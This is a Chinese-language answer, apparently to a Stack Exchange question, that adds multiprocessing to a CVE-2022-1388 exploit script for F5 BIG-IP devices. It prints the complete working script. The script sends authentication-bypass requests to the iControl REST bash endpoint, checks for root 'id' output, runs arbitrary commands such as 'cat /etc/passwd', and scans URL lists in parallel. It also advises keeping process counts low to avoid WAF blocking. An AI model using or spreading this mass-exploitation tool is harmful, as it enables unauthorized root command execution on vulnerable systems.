如何为CVE-2022-1388渗透测试脚本添加多进程功能

你的脚本目前是单进程遍历URL列表，批量检测效率偏低，下面分步说明如何添加多进程功能：

1. 补全缺失的依赖与常量 #

原脚本缺少必要的模块导入和漏洞关键常量，先补上：

import requests
import argparse
import sys
import os
from multiprocessing import Pool, Manager

# 禁用requests的SSL验证警告
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

# CVE-2022-1388 核心路径与请求头
endpoint = "/mgmt/tm/util/bash"
headers = {
    "Authorization": "Basic YWRtaW46",
    "Content-Type": "application/json"
}

2. 改造POC函数适配多进程 #

不需要改动POC核心检测逻辑，但要解决多进程下的文件写入冲突问题，通过进程锁保证操作原子性：

def poc(target, lock):
    url = requests.utils.urlparse(target).scheme + "://" + requests.utils.urlparse(target).netloc
    payload = {"command": "run", "utilCmdArgs": "-c id"}
    try:
        res = requests.post(url+endpoint, headers=headers, json=payload, proxies=None, timeout=15, verify=False)
        if (res.status_code == 200) and ('uid=0(root) gid=0(root) groups=0(root)' in res.text):
            # 用锁避免多进程同时写文件/打印导致的乱序
            with lock:
                print("[+] {} is vulnerable!!!".format(url))
                with open("success.txt", "a+") as f:
                    f.write(url + "\n")
            return True
        else:
            print("[-] {} is not vulnerable.".format(url))
            return False
    except Exception as e:
        print("[-] {} Exception: {}".format(url, str(e)))
        return False

3. 重构批量检测逻辑 #

把原来的单循环替换成进程池，支持自定义进程数（默认4个，避免给目标或本地网络造成过大压力）：

if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        description="CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE")
    parser.add_argument('-u', '--url', type=str,
                        help="单站点漏洞验证")
    parser.add_argument('-c', '--command', type=str,
                        help="执行自定义命令")
    parser.add_argument('-f', '--file', type=str,
                        help="批量检测文件中的URL，漏洞站点会写入success.txt")
    parser.add_argument('-p', '--processes', type=int, default=4,
                        help="使用的进程数（默认：4）")
    args = parser.parse_args()

    # 初始化进程锁
    manager = Manager()
    lock = manager.Lock()

    if args.url and not args.command:
        poc(args.url, lock)
    elif args.url and args.command:
        exp(args.url, args.command)
    elif args.file:
        if os.path.isfile(args.file):
            with open(args.file) as target:
                urls = target.read().splitlines()
                # 创建进程池并批量执行检测
                with Pool(processes=args.processes) as pool:
                    pool.starmap(poc, [(url, lock) for url in urls])
    else:
        parser.print_help()
        usage()

关键注意事项 #

• 进程数设置：不要超过10，否则容易被目标WAF拦截或导致本地网络拥堵，默认4个足够应对多数场景。
• 异常处理：将原脚本的print(e)改为str(e)，避免因异常类型无法直接拼接字符串报错。
• SSL警告：添加禁用警告的代码，避免脚本运行时弹出大量无关提示。

完整修改后的脚本 #

#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
import requests
import argparse
import sys
import os
from multiprocessing import Pool, Manager

# 禁用SSL验证警告
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

# CVE-2022-1388 核心常量
endpoint = "/mgmt/tm/util/bash"
headers = {
    "Authorization": "Basic YWRtaW46",
    "Content-Type": "application/json"
}

def usage():
    print("Eg: \n    python3 CVE-2022-1388.py -u https://127.0.0.1")
    print("    python3 CVE-2022-1388.py -u https://127.0.0.1 -c 'cat /etc/passwd'")
    print("    python3 CVE-2022-1388.py -f urls.txt -p 6")
    
def poc(target, lock):
    url = requests.utils.urlparse(target).scheme + "://" + requests.utils.urlparse(target).netloc
    payload = {"command": "run", "utilCmdArgs": "-c id"}
    try:
        res = requests.post(url+endpoint, headers=headers, json=payload, proxies=None, timeout=15, verify=False)
        if (res.status_code == 200) and ('uid=0(root) gid=0(root) groups=0(root)' in res.text):
            with lock:
                print("[+] {} is vulnerable!!!".format(url))
                with open("success.txt", "a+") as f:
                    f.write(url + "\n")
            return True
        else:
            print("[-] {} is not vulnerable.".format(url))
            return False
    except Exception as e:
        print("[-] {} Exception: {}".format(url, str(e)))
        return False
    
def exp(target, command):
    url = requests.utils.urlparse(target).scheme + "://" + requests.utils.urlparse(target).netloc
    payload = {"command": "run", "utilCmdArgs": "-c '{}'".format(command)}
    try:
        res = requests.post(url+endpoint, headers=headers, json=payload, proxies=None, timeout=15, verify=False)
        if (res.status_code == 200) and ("tm:util:bash:runstate" in res.text):
            print(res.json()['commandResult'])
            return True
        else:
            print("[-] {} is not vulnerable.".format(url))
            return False
    except Exception as e:
        print("[-] {} Exception: {}".format(url, str(e)))
        return False

if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        description="CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE")
    parser.add_argument('-u', '--url', type=str,
                        help="单站点漏洞验证")
    parser.add_argument('-c', '--command', type=str,
                        help="执行自定义命令")
    parser.add_argument('-f', '--file', type=str,
                        help="批量检测文件中的URL，漏洞站点会写入success.txt")
    parser.add_argument('-p', '--processes', type=int, default=4,
                        help="使用的进程数（默认：4）")
    args = parser.parse_args()

    manager = Manager()
    lock = manager.Lock()

    if args.url and not args.command:
        poc(args.url, lock)
    elif args.url and args.command:
        exp(args.url, args.command)
    elif args.file:
        if os.path.isfile(args.file):
            with open(args.file) as target:
                urls = target.read().splitlines()
                with Pool(processes=args.processes) as pool:
                    pool.starmap(poc, [(url, lock) for url in urls])
    else:
        parser.print_help()
        usage()

内容的提问来源于stack exchange，提问作者aboba